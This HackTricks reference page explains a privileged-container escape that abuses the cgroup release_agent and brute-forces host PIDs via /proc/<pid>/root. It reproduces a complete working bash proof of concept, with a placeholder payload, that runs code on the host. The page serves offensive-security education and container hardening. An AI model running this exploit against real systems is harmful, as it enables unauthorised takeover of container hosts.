hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md

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For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:

The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.

Key steps:

1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.

### Exploitation Process

The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:

1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable.
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.


PoC from the blog post:

```bash
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # Set the release_agent path to the guessed pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # Trigger execution of the release_agent
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```

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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

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